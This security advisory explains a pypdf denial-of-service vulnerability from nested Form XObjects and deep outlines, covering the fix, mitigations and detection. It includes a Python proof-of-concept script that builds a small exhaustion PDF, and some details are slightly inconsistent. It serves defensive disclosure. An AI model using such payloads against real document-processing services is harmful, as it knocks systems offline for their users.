CVE-2026-84311: Algorithmic Complexity Denial of Service in pypdf

pypdf is a widely utilized, pure-Python library designed to handle PDF files, including operations such as splitting, merging, cropping, and transforming pages. Because of its ease of integration and lack of external dependencies, it is frequently embedded in backend systems to handle automated document indexing, content extraction, and document processing pipelines.

This widespread adoption exposes a massive attack surface. Backend systems processing arbitrary PDF uploads from untrusted users are particularly vulnerable. When a malicious document is submitted, any routine calling core functionalities like text extraction or outline parsing will trigger the vulnerability.

CVE-2026-84311 represents an algorithmic complexity vulnerability classified under CWE-834 (Excessive Iteration). It arises from the absence of execution constraints when resolving non-cyclic hierarchical structures. Unlike cyclic paths, which standard recursion counters can detect, these overlapping paths allow an attacker to trigger resource exhaustion with extremely small payload sizes.

The core issue exists within two distinct parsing logic paths in the pypdf implementation: the document outline tree retrieval and the XObject Form text extraction routines. In previous releases, pypdf relied on a simple cycle detection mechanism. It maintained a set of visited node identifiers to avoid infinite recursion loops, which successfully stopped cyclic graphs (e.g., Node A referencing Node B, which references Node A).

However, this defense mechanism failed against Directed Acyclic Graphs (DAGs) and deeply nested hierarchical structures that do not contain cycles. In the case of the document outline retrieval (located in _get_outline within _doc_common.py), an attacker can supply an excessively deep outline tree. Because Python has a strict limit on its call-stack, this deep recursion triggers a RecursionError, immediately terminating the interpreter process.

In the case of XObject Form text extraction (located in _extract_text within _page.py), the flaw manifests as an entity expansion pattern, conceptually identical to the classic XML 'Billion Laughs' attack. Form XObjects represent reusable layout streams. A page or a Form XObject can reference other Form XObjects using the /XObject resource dictionary. When traversing these references to extract text, the library would expand each form recursively without tracking global invocation counts. By layering multiple Form XObjects where each form points to the next child multiple times, the total operations scale exponentially. A file under 15 KB in size with 25 levels of nested XObject forms translates to over 33 million execution paths, completely monopolizing the thread and depleting physical memory.

To remediate CVE-2026-84311, the maintainers introduced a global tracking class called _TraversalState and defined strict limits for execution depths and total loops. The fix enforces a maximum outline depth of 100, a maximum outline entry limit of 100,000, and restricts the maximum Form XObject invocations per extraction to 5,000.

Below is an analysis of the vulnerable recursive logic contrasted against the patched implementation. The introduction of _TraversalState acts as a thread-safe, mutable container to persist invocation counts across recursive frames:

# File: pypdf/_utils.py
@dataclass
class _TraversalState:
    """State tracker implemented to monitor and limit recursion paths."""
    entry_count: int = 0
    has_logged: bool = False

In the patched version of _get_outline, the parser evaluates both the depth and the accumulative entry_count against their respective thresholds, throwing a LimitReachedError if exceeded:

# File: pypdf/_doc_common.py
if depth > OUTLINE_MAX_DEPTH:
    raise LimitReachedError(f"Maximum outline depth reached: {depth} > {OUTLINE_MAX_DEPTH}.")
 
traversal_state.entry_count += 1
if traversal_state.entry_count > OUTLINE_MAX_ENTRIES:
    raise LimitReachedError(
        f"Maximum outline entry limit reached: {traversal_state.entry_count} > {OUTLINE_MAX_ENTRIES}."
    )

Similarly, during text extraction, the _extract_text__xform method checks the global counter and drops additional processing if the cap is met, logging a warning rather than crashing the system:

# File: pypdf/_page.py
if traversal_state.entry_count >= MAX_XFORM_INVOCATIONS_PER_EXTRACTION:
    if not traversal_state.has_logged:
        traversal_state.has_logged = True
        logger_warning(
            "Exceeded %(limit)d form XObject invocations while extracting text; further content skipped.",
            source=__name__,
            limit=MAX_XFORM_INVOCATIONS_PER_EXTRACTION
        )
    return ""

This defensive design is robust. Instead of raising an unhandled exception that would crash the execution flow, the text extraction gracefully degrades by omitting deeply nested structures and continuing execution, thereby neutralizing the Denial of Service vector.

Exploiting CVE-2026-84311 requires no elevated privileges or unique environmental conditions, placing it at a low difficulty level (Attack Complexity: Low). The primary prerequisite is that the target application must accept user-supplied PDF documents and perform automated operations on them, such as reading outlines or extracting text (e.g., for document preview generation, full-text indexing, or content parsing).

To demonstrate this behavior, an attacker can construct a valid PDF structure using a sequential chain of Form XObject definitions. The attack relies on overlapping, non-cyclic references within the PDF tree. A visual flow of this structural layout is shown below:

This graph illustrates how the parser is forced to process 2^k paths. Below is a conceptual representation of the exploit construction script. This script outputs a tiny PDF file containing highly nested Form XObjects. Processing this file on any version of pypdf prior to 6.16.1 will lead to execution times or memory crashes:

# Proof of Concept: Generating a Resource Exhaustion PDF
from pypdf import PdfWriter
from pypdf.generic import DictionaryObject, NameObject, NumberObject, RectangleObject, StreamObject
 
writer = PdfWriter()
page = writer.add_blank_page(width=612, height=792)
 
# Configure nested Form XObjects to simulate the Billion Laughs structure
depth = 25
forms = [StreamObject() for _ in range(depth + 1)]
form_refs = [writer._add_object(form) for form in forms]
 
for k, form in enumerate(forms):
    if k < depth:
        next_name = NameObject(f"/F{k + 1}")
        form_content = f"q\n{next_name} Do\n{next_name} Do\nQ\n".encode("ascii")
        xobjects = DictionaryObject({next_name: form_refs[k + 1]})
    else:
        form_content = b"BT\n/F1 12 Tf\n100 700 Td\n(.) Tj\nET\n"
        xobjects = DictionaryObject()
 
    form.update({
        NameObject("/Type"): NameObject("/XObject"),
        NameObject("/Subtype"): NameObject("/Form"),
        NameObject("/FormType"): NumberObject(1),
        NameObject("/BBox"): RectangleObject([0, 0, 612, 792]),
        NameObject("/Resources"): DictionaryObject({NameObject("/XObject"): xobjects})
    })
    form.set_data(form_content)

When a vulnerable microservice processes the resulting file and attempts to index its text via page.extract_text(), the Python engine is locked into a heavy recursion loop. Because the memory required to maintain the traversal frames escalates rapidly, the host container or server will exhaust its physical memory, initiating an Out-of-Memory (OOM) killer event that crashes the process.

The direct and recommended solution to address CVE-2026-84311 is to upgrade pypdf to version 6.16.1 or later. This release enforces hard limits on internal parser recursions, stopping the algorithmic exhaustion cleanly.

In scenarios where immediate updates cannot be deployed due to software freeze windows, organizations should implement defense-in-depth mitigations. First, establish process-level resource constraints using container configuration policies (such as setting memory limits and CPU limits in Kubernetes or Docker) or operating system controls (such as ulimit or systemd service execution limits). This ensures that if a parser thread hangs, it will be terminated without taking down the entire service host.

Second, applications can implement file processing timeout mechanisms. Python's multiprocessing library can execute the PDF extraction process in a separate sandboxed thread or process with a strict execution wall-time (e.g., terminating any task that takes longer than 10 seconds). Furthermore, you should inspect logs for signature markers indicating exploit attempts:

• Look for occurrences of pypdf.errors.LimitReachedError indicating that maximum depth limits were reached.
• Look for the specific warning message logged by the patched library: Exceeded 5000 form XObject invocations while extracting text; further form content is skipped.

Implementing these rules ensures visibility into ongoing attacks while validating the efficacy of deployed patches.